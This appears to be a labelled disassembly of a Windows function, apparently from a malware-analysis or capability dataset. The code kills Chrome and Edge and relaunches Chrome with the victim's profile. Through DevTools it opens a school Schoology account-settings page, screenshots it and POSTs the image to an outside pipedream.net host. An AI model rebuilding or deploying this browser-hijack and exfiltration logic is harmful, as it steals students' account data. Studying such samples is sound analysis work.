Function at 0x1400092a0
Capabilities:
Create process on windows
Query environment variable
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x578
lea rsi, str.LocalAppData
mov rcx, rsi
call sym.getenv
mov rdx, rax
lea rax, [rsp + 0xb0]
mov rdi, rax
mov rcx, rax
mov qword [rsp + 0x60], rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rdx, str.GoogleChromeUser_Data
mov rcx, rdi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append_char_const_
lea rax, [rsp + 0xd0]
lea rdx, str.chrome.exe
mov rcx, rax
mov qword [rsp + 0x58], rax
call sym.killProcessByName_abi:cxx11__char_const_
cmp qword [rsp + 0xd8], 0
lea rbx, [rsp + 0x2e0]
jne 0x1400093bf
lea rdx, str.msedge.exe
mov rcx, rbx
call sym.killProcessByName_abi:cxx11__char_const_
mov rcx, qword [rsp + 0x58]
mov rdx, rbx
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______clone_.isra.0_
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov dword [rsp + 0x68], 1
cmp qword [rsp + 0xd8], 0
jne 0x140009388
mov rcx, qword [rsp + 0x58]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x60]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov eax, dword [rsp + 0x68]
add rsp, 0x578
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
call sym.getenv
mov rcx, rbx
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rdx, str.MicrosoftEdgeUser_Data
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append_char_const_
mov rcx, qword [rsp + 0x60]
mov rdx, rbx
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______clone_.isra.0_
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea r13, [rsp + 0x2f0]
mov rcx, rbx
mov qword [rsp + 0x2e0], r13
add r8, rdx
call method.void_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_construct_char__char__char__std::forward_iterator_tag___clone_.isra.0_
lea rax, [rsp + 0xf0]
mov rdx, qword [rsp + 0xd0]
mov r8, rbx
mov rcx, rax
mov qword [rsp + 0x90], rax
call sym.launchChrome_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rcx, rbx
lea rsi, [rsp + 0x280]
lea r12, [rsp + 0x290]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rdx, qword [rsp + 0xf0]
mov rcx, rsi
mov r8, qword [rsp + 0xf8]
mov qword [rsp + 0x280], r12
add r8, rdx
call method.void_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_construct_char__char__char__std::forward_iterator_tag___clone_.isra.0_
mov rdx, rbx
mov rcx, rsi
mov qword [rsp + 0x2e0], r13
mov qword [rsp + 0x2e8], 0
mov byte [rsp + 0x2f0], 0
call method.easywsclient::WebSocket.from_url_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rbx
mov qword [0x1400740a0], rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
cmp qword [0x1400740a0], 0
je 0x14000a4ad
mov rcx, rsi
lea r15, [rsp + 0x230]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
lea rdx, str.https:__fuhsd.schoology.com_settings_account
mov rcx, r15
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
pxor xmm0, xmm0
mov ecx, 0x28
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x2c8], 0x400
mov dword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 0
movups xmmword [rsp + 0x288], xmm0
movups xmmword [rsp + 0x298], xmm0
movups xmmword [rsp + 0x2a8], xmm0
movups xmmword [rsp + 0x2b8], xmm0
call sym.operator_new_unsigned_long_long_
mov rbp, qword [rsp + 0x230]
pxor xmm0, xmm0
mov qword [rax], 0
mov rcx, rax
mov qword [rax + 8], 0x10000
mov qword [rax + 0x20], 0
mov rdi, rbp
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rax
movups xmmword [rax + 0x10], xmm0
movabs rax, 0x3000000000000
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], rax
mov dword [rsp + 0x210], 0
cmp byte [rbp], 0
je 0x14000a490
nop dword [rax + rax]
add rdi, 1
cmp byte [rdi], 0
jne 0x140009580
sub edi, ebp
movabs rax, 0x405000000000000
mov edx, 0x200
lea r14, [0x14006193d]
mov dword [rsp + 0x214], 0x10
or rbp, rax
or r14, rax
call method.rapidjson::MemoryPoolAllocator_rapidjson::CrtAllocator_.Malloc_unsigned_long_long_
movabs rdx, 0x3000000000000
mov rcx, rbx
or rdx, rax
mov qword [rsp + 0x218], rdx
movabs rdx, 0xffffffffffff
and rax, rdx
lea rdx, str.Page.navigate
mov qword [rax], 3
mov qword [rax + 8], r14
mov dword [rax + 0x10], edi
mov dword [rax + 0x14], 0
mov qword [rax + 0x18], rbp
mov dword [rsp + 0x210], 1
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rax, [rsp + 0x210]
lea rdi, [rsp + 0x250]
mov r9, rsi
mov rdx, rbx
mov r8, rax
mov rcx, rdi
mov qword [rsp + 0x88], rax
call sym._Z8buildRPCNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERN9rapidjson12GenericValueINS5_4UTF8IcEENS5_19MemoryPoolAllocat
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rdx, qword [rsp + 0x250]
mov rcx, rbx
mov r8, qword [rsp + 0x258]
mov qword [rsp + 0x2e0], r13
add r8, rdx
call method.void_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_construct_char__char__char__std::forward_iterator_tag___clone_.isra.0_
mov rcx, qword [0x1400740a0]
test rcx, rcx
je 0x140009687
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 0x18]
mov rcx, qword [0x1400740a0]
mov edx, 0xffffffff
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rbx
call sym.waitForResponse__
mov r14, qword [rsp + 0x2f8]
test r14, r14
je 0x1400096f2
mov rcx, qword [r14]
test rcx, rcx
jne 0x1400096c4
jmp 0x1400096d2
mov rbp, qword [rcx + 0x10]
call sym.free
mov qword [r14], rbp
test rbp, rbp
je 0x1400096d2
mov rcx, rbp
cmp qword [r14 + 0x10], rcx
jne 0x1400096b0
mov qword [rcx + 8], 0
mov rcx, qword [r14 + 0x20]
test rcx, rcx
je 0x1400096e5
mov edx, 1
call sym.operator_delete_void__unsigned_long_long_
mov edx, 0x28
mov rcx, r14
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x310]
call sym.free
mov rcx, qword [rsp + 0x308]
test rcx, rcx
je 0x140009716
mov edx, 1
call sym.operator_delete_void__unsigned_long_long_
mov rcx, rdi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov r14, qword [rsp + 0x298]
test r14, r14
je 0x14000977a
mov rcx, qword [r14]
test rcx, rcx
jne 0x14000974c
jmp 0x14000975a
mov rbp, qword [rcx + 0x10]
call sym.free
mov qword [r14], rbp
test rbp, rbp
je 0x14000975a
mov rcx, rbp
cmp qword [r14 + 0x10], rcx
jne 0x140009738
mov qword [rcx + 8], 0
mov rcx, qword [r14 + 0x20]
test rcx, rcx
je 0x14000976d
mov edx, 1
call sym.operator_delete_void__unsigned_long_long_
mov edx, 0x28
mov rcx, r14
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x2b0]
call sym.free
mov rcx, qword [rsp + 0x2a8]
test rcx, rcx
je 0x14000979e
mov edx, 1
call sym.operator_delete_void__unsigned_long_long_
mov rcx, r15
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov qword [rsp + 0x2e0], 5
mov dword [rsp + 0x2e8], 0
mov rdx, rbx
mov rcx, rbx
call sym.nanosleep
cmp eax, 0xffffffff
je 0x14000a1c0
lea rbp, [rsp + 0x110]
mov rcx, rbp
call sym.screenShot_abi:cxx11___
lea rdx, str.http:__eonnporxfwmzgas.m.pipedream.net
mov rcx, rdi
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rcx, [rsp + 0xa8]
mov r9, rbx
mov r8, rsi
mov rdx, rdi
mov qword [rsp + 0x2e0], r13
mov qword [rsp + 0x2e8], 0
mov byte [rsp + 0x2f0], 0
mov qword [rsp + 0x280], r12
mov qword [rsp + 0x288], 0
mov byte [rsp + 0x290], 0
call method.httplib::Client.Client_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits
mov rcx, rsi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rdi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
lea rax, [rsp + 0x150]
lea rdx, str.text_plain
mov rcx, rax
mov qword [rsp + 0x80], rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rax, [rsp + 0x130]
lea rdx, [0x140060111]
mov rcx, rax
mov qword [rsp + 0x78], rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rax, [rsp + 0x258]
pxor xmm0, xmm0
lea rdx, str.POST
mov dword [rsp + 0x258], 0
mov qword [rsp + 0x268], rax
mov r12, qword [rsp + 0xa8]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x260], 0
mov r14, qword [rsp + 0x118]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1d0]
mov rcx, rax
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x70], rax
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x190], xmm0
movaps xmmword [rsp + 0x1b0], xmm0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rax, [rsp + 0x310]
pxor xmm0, xmm0
mov qword [rsp + 0x2e0], r13
lea r13, [rsp + 0x328]
mov qword [rsp + 0x300], rax
mov rcx, rbx
lea rax, [rsp + 0x360]
mov qword [rsp + 0x350], rax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x370], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x398], rax
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x3e0], rax
lea rax, [rsp + 0x408]
mov qword [rsp + 0x418], rax
mov qword [rsp + 0x420], rax
lea rax, [rsp + 0x438]
mov qword [rsp + 0x2e8], 0
mov byte [rsp + 0x2f0], 0
mov qword [rsp + 0x308], 0
mov byte [rsp + 0x310], 0
mov dword [rsp + 0x328], 0
mov qword [rsp + 0x330], 0
mov qword [rsp + 0x338], r13
mov qword [rsp + 0x340], r13
mov qword [rsp + 0x348], 0
mov qword [rsp + 0x358], 0
mov byte [rsp + 0x360], 0
mov qword [rsp + 0x378], 0
mov byte [rsp + 0x380], 0
mov dword [rsp + 0x390], 0xffffffff
mov qword [rsp + 0x3a0], 0
mov byte [rsp + 0x3a8], 0
mov dword [rsp + 0x3b8], 0xffffffff
mov qword [rsp + 0x3c8], 0
mov byte [rsp + 0x3d0], 0
mov qword [rsp + 0x3e8], 0
mov byte [rsp + 0x3f0], 0
mov dword [rsp + 0x408], 0
mov qword [rsp + 0x410], 0
mov qword [rsp + 0x428], 0
movdqa xmm1, xmmword [0x140062150]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x450], rax
lea rax, [rsp + 0x4c8]
movaps xmmword [rsp + 0x460], xmm0
movaps xmmword [rsp + 0x470], xmm0
movaps xmmword [rsp + 0x480], xmm0
pxor xmm0, xmm0
mov dword [rsp + 0x438], 0
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x458], 0
mov qword [rsp + 0x490], 0
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x4a0], 1
mov qword [rsp + 0x4a8], 0
mov qword [rsp + 0x4b0], 0
mov dword [rsp + 0x4b8], 0x3f800000
mov qword [rsp + 0x4c0], 0
mov qword [rsp + 0x4c8], 0
mov qword [rsp + 0x4e0], 0
mov qword [rsp + 0x4e8], 0
mov qword [rsp + 0x500], 0
mov qword [rsp + 0x508], 0
mov qword [rsp + 0x520], 0
mov qword [rsp + 0x528], 0
mov qword [rsp + 0x550], 0
mov qword [rsp + 0x558], 0
mov byte [rsp + 0x560], 0
mov qword [rsp + 0x568], 0
movaps xmmword [rsp + 0x4d0], xmm0
movaps xmmword [rsp + 0x4f0], xmm0
movaps xmmword [rsp + 0x510], xmm0
movaps xmmword [rsp + 0x530], xmm1
movaps xmmword [rsp + 0x540], xmm0
mov rdx, qword [rsp + 0x70]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_assign_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rcx, [rsp + 0x320]
mov rdx, rdi
call fcn.140005d90
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x300]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_assign_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x298], 0
movaps xmmword [rsp + 0x280], xmm0
test rax, rax
je 0x14000a440
lea rdx, [rsp + 0x170]
mov r8d, 2
mov rcx, rsi
call rax
movdqa xmm0, xmmword [rsp + 0x180]
mov rax, qword [rsp + 0x280]
movdqa xmm2, xmmword [rsp + 0x510]
mov rdx, qword [rsp + 0x288]
movdqa xmm3, xmmword [rsp + 0x520]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x518], rdx
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x290], xmm3
movaps xmmword [rsp + 0x520], xmm0
test rax, rax
je 0x140009d37
mov r8d, 3
mov rdx, rsi
mov rcx, rsi
call rax
mov rax, qword [rsp + 0x1a8]
pxor xmm0, xmm0
mov dword [rsp + 0xa4], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x1a0]
movaps xmmword [rsp + 0x210], xmm0
test rax, rax
je 0x140009d9c
movdqa xmm4, xmmword [rsp + 0x190]
mov qword [rsp + 0x220], rax
pxor xmm0, xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x210], xmm4
mov rdx, qword [rsp + 0x1c8]
pxor xmm0, xmm0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x200], 0
mov rcx, qword [rsp + 0x158]
movaps xmmword [rsp + 0x1f0], xmm0
mov qword [rsp + 0x208], rdx
test rax, rax
je 0x14000a1d0
movdqa xmm5, xmmword [rsp + 0x1b0]
pxor xmm0, xmm0
mov qword [rsp + 0x200], rax
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1f0], xmm5
test rcx, rcx
jne 0x14000a1d5
movdqa xmm2, xmmword [rsp + 0x550]
pxor xmm0, xmm0
movdqa xmm4, xmmword [rsp + 0x540]
mov qword [rsp + 0x538], r14
movdqa xmm5, xmmword [rsp + 0x1f0]
mov qword [rsp + 0x550], rax
movq r9, xmm2
mov qword [rsp + 0x558], rdx
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x280], xmm4
movaps xmmword [rsp + 0x540], xmm5
movaps xmmword [rsp + 0x290], xmm2
test r9, r9
je 0x140009e7b
mov r8d, 3
mov rdx, rsi
mov rcx, rsi
call r9
mov byte [rsp + 0x560], 0
mov rcx, rsi
call sym._ZN7httplib6detail11make_uniqueINS_8ResponseEJEEENSt9enable_ifIXntsrSt8is_arrayIT_E5valueESt10unique_ptrIS5_St14default_delete
lea r14, [r12 + 0x60]
mov rdi, qword [rsp + 0x280]
mov rcx, r14
call sym.pthread_mutex_lock
mov dword [rsp + 0x68], eax
test eax, eax
jne 0x14000a4b7
lea rax, [rsp + 0xa4]
mov r8, rdi
mov rdx, rbx
mov rcx, r12
mov r9, rax
mov qword [rsp + 0x98], rax
call method.httplib::ClientImpl.send__httplib::Request__httplib::Response__httplib::Error_
cmp dword [rsp + 0xa4], 0xf
mov r15d, eax
je 0x14000a3d8
mov rcx, r14
call sym.pthread_mutex_unlock
test r15b, r15b
jne 0x140009f10
test rdi, rdi
je 0x140009f05
mov rcx, rdi
call method.httplib::Response.Response__
mov edx, 0x108
mov rcx, rdi
call sym.operator_delete_void__unsigned_long_long_
xor edi, edi
nop word [rax + rax]
mov rax, qword [rsp + 0x200]
test rax, rax
je 0x140009f30
lea rcx, [rsp + 0x1f0]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x220]
test rax, rax
je 0x140009f50
mov rdx, qword [rsp + 0x88]
mov r8d, 3
mov rcx, rdx
call rax
mov eax, dword [rsp + 0xa4]
mov qword [rsp + 0x280], rdi
mov dword [rsp + 0x288], eax
mov rax, qword [rsp + 0x330]
test rax, rax
je 0x14000a400
mov edx, dword [rsp + 0x328]
movq xmm0, rax
movhps xmm0, qword [rsp + 0x338]
mov dword [rsp + 0x298], edx
mov rdx, qword [rsp + 0x340]
movaps xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x2b0], rdx
lea rdx, [rsp + 0x298]
mov qword [rax + 8], rdx
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x330], 0
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x338], r13
mov qword [rsp + 0x340], r13
mov qword [rsp + 0x348], 0
mov rcx, rbx
call method.httplib::Request.Request__
mov rcx, qword [rsp + 0x70]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rax, qword [rsp + 0x1c0]
test rax, rax
je 0x14000a020
lea rcx, [rsp + 0x1b0]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x14000a040
lea rcx, [rsp + 0x190]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x180]
test rax, rax
je 0x14000a060
lea rcx, [rsp + 0x170]
mov r8d, 3
mov rdx, rcx
call rax
mov rcx, qword [rsp + 0x260]
call fcn.140002b10
mov rcx, qword [rsp + 0x2a0]
call fcn.140002b10
mov rdi, qword [rsp + 0x280]
test rdi, rdi
je 0x14000a09c
mov rcx, rdi
call method.httplib::Response.Response__
mov edx, 0x108
mov rcx, rdi
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x78]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x80]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [0x1400740a0]
test rcx, rcx
je 0x14000a0c5
mov rax, qword [rcx]
call qword [rax + 0x38]
lea rdx, str.chrome.exe
mov rcx, rbx
call sym.killProcessByName_abi:cxx11__char_const_
mov rcx, rbx
lea rdi, [rsp + 0x2e8]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov ecx, 0xc
xor eax, eax
pxor xmm0, xmm0
mov r10, qword [rsp + 0xd0]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.chrome.exe
mov qword [rsp + 0x2e4], 0
mov qword [rsp + 0x340], 0
rep stosq qword [rdi], rax
mov qword [rsp + 0x48], rsi
mov rcx, r10
mov dword [rsp + 0x2e0], 0x68
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
movaps xmmword [rsp + 0x280], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [r12]
lea rdx, [sym.httplib::ClientImpl::ClientImpl__]
mov rcx, r12
mov rax, qword [rax + 8]
cmp rax, rdx
jne 0x14000a450
call method.httplib::ClientImpl.ClientImpl__
mov edx, 0x2d0
mov rcx, r12
call sym.operator_delete_void__unsigned_long_long_
mov rcx, rbp
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x90]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
jmp 0x140009356
call rbp
cmp dword [rax], 4
jne 0x1400097d8
jmp 0x1400097c4
test rcx, rcx
je 0x14000a210
lea rdx, str.Content_Type
mov rcx, rsi
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
mov r8, qword [rsp + 0x80]
mov rdx, rsi
mov rcx, rbx
call method.httplib::Request.set_header_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rsi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rax, qword [rsp + 0x200]
test rax, rax
jne 0x14000a4a0
mov rax, qword [rsp + 0x220]
test rax, rax
je 0x14000a460
pxor xmm0, xmm0
mov rcx, r15
mov qword [rsp + 0x538], 0
mov rdx, qword [rsp + 0x88]
movaps xmmword [rsp + 0x230], xmm0
mov r8d, 2
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x248], 0
call rax
movdqa xmm3, xmmword [rsp + 0x220]
pxor xmm0, xmm0
mov ecx, 0x20
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x298], 0
movaps xmmword [rsp + 0x240], xmm3
movaps xmmword [rsp + 0x280], xmm0
call sym.operator_new_unsigned_long_long_
mov rdx, qword [rsp + 0x248]
pxor xmm0, xmm0
mov qword [rax + 0x10], 0
movups xmmword [rax], xmm0
mov qword [rax + 0x18], rdx
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x14000a2e7
movdqa xmm1, xmmword [rsp + 0x230]
mov qword [rax + 0x10], rdx
pxor xmm0, xmm0
movaps xmmword [rsp + 0x240], xmm0
movups xmmword [rax], xmm1
mov qword [rsp + 0x280], rax
lea rdi, [sym._ZNSt17_Function_handlerIFbyyRN7httplib8DataSinkEENS0_6detail22ContentProviderAdapterEE10_M_managerERSt9_Any_dataRKS7_St18_Man]
mov rax, qword [rsp + 0x280]
movq xmm0, rdi
lea rdi, [method.std._Function_handler_bool__unsigned_long_long__unsigned_long_long__httplib::DataSink___httplib::detail::ContentProviderAdapter_::_M_invoke_std::_Any_data_const__unsigned_long_long__unsigned_long_long__httplib::DataSink_]
movdqa xmm4, xmmword [rsp + 0x540]
mov rdx, qword [rsp + 0x288]
movdqa xmm5, xmmword [rsp + 0x550]
mov qword [rsp + 0x540], rax
movq xmm1, rdi
mov rax, qword [rsp + 0x550]
punpcklqdq xmm0, xmm1
mov qword [rsp + 0x548], rdx
movaps xmmword [rsp + 0x280], xmm4
movaps xmmword [rsp + 0x290], xmm5
movaps xmmword [rsp + 0x550], xmm0
test rax, rax
je 0x14000a38b
mov r8d, 3
mov rdx, rsi
mov rcx, rsi
call rax
mov rax, qword [rsp + 0x240]
test rax, rax
je 0x14000a38b
mov r8d, 3
mov rdx, r15
mov rcx, r15
call rax
lea rdx, str.chunked
mov rcx, rsi
mov byte [rsp + 0x560], 1
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
lea rdx, str.Transfer_Encoding
mov rcx, r15
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const___clone_.isra.0_
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call method.httplib::Request.set_header_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, r15
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rsi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
jmp 0x140009e83
mov r9, qword [rsp + 0x98]
mov r8, rdi
mov rdx, rbx
mov rcx, r12
call method.httplib::ClientImpl.send__httplib::Request__httplib::Response__httplib::Error_
mov r15d, eax
jmp 0x140009ede
lea rax, [rsp + 0x298]
mov dword [rsp + 0x298], 0
mov qword [rsp + 0x2a0], 0
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 0
jmp 0x140009fee
pxor xmm0, xmm0
jmp 0x140009cd2
call rax
jmp 0x14000a1a0
mov qword [rsp + 0x20], r14
mov r9, qword [rsp + 0x68]
xor edx, edx
lea rcx, [rsp + 0x350]
mov r8, qword [rsp + 0x358]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_replace_unsigned_long_long__unsigned_long_long__char_const__unsigned_long_long_
jmp 0x140009e83
xor edi, edi
jmp 0x14000958b
mov rdx, qword [rsp + 0x208]
jmp 0x140009e0b
mov ecx, 1
call sym.exit
mov ecx, eax
call sym.std::__throw_system_error_int_
mov rdi, rax
jmp 0x14005ccb5
mov rcx, rsi
call method.std::unique_ptr_httplib::Response__std::default_delete_httplib::Response___.unique_ptr__
mov rax, qword [rsp + 0x200]
test rax, rax
je 0x14005ccdd
lea rcx, [rsp + 0x1f0]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x220]
test rax, rax
jne 0x14005ce0f
mov rcx, rbx
call method.httplib::Request.Request__
mov rcx, qword [rsp + 0x70]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rax, qword [rsp + 0x1c0]
test rax, rax
je 0x14005cd20
lea rcx, [rsp + 0x1b0]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x14005cd40
lea rcx, [rsp + 0x190]
mov r8d, 3
mov rdx, rcx
call rax
mov rax, qword [rsp + 0x180]
test rax, rax
je 0x14005cd60
lea rcx, [rsp + 0x170]
mov r8d, 3
mov rdx, rcx
call rax
mov rcx, qword [rsp + 0x260]
mov rbx, rdi
call fcn.140002b10
mov rcx, qword [rsp + 0x78]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x80]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x14005cd9a
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, rbp
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
jmp 0x14005cdd1
mov rcx, qword [rsp + 0x90]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x58]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, qword [rsp + 0x60]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rbx
call sym._Unwind_Resume
mov rcx, rbx
mov rbx, rdi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
mov rcx, rsi
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::_M_dispose__
jmp 0x14005cdd1
mov rdx, qword [rsp + 0x88]
mov r8d, 3
mov rcx, rdx
call rax
jmp 0x14005ccee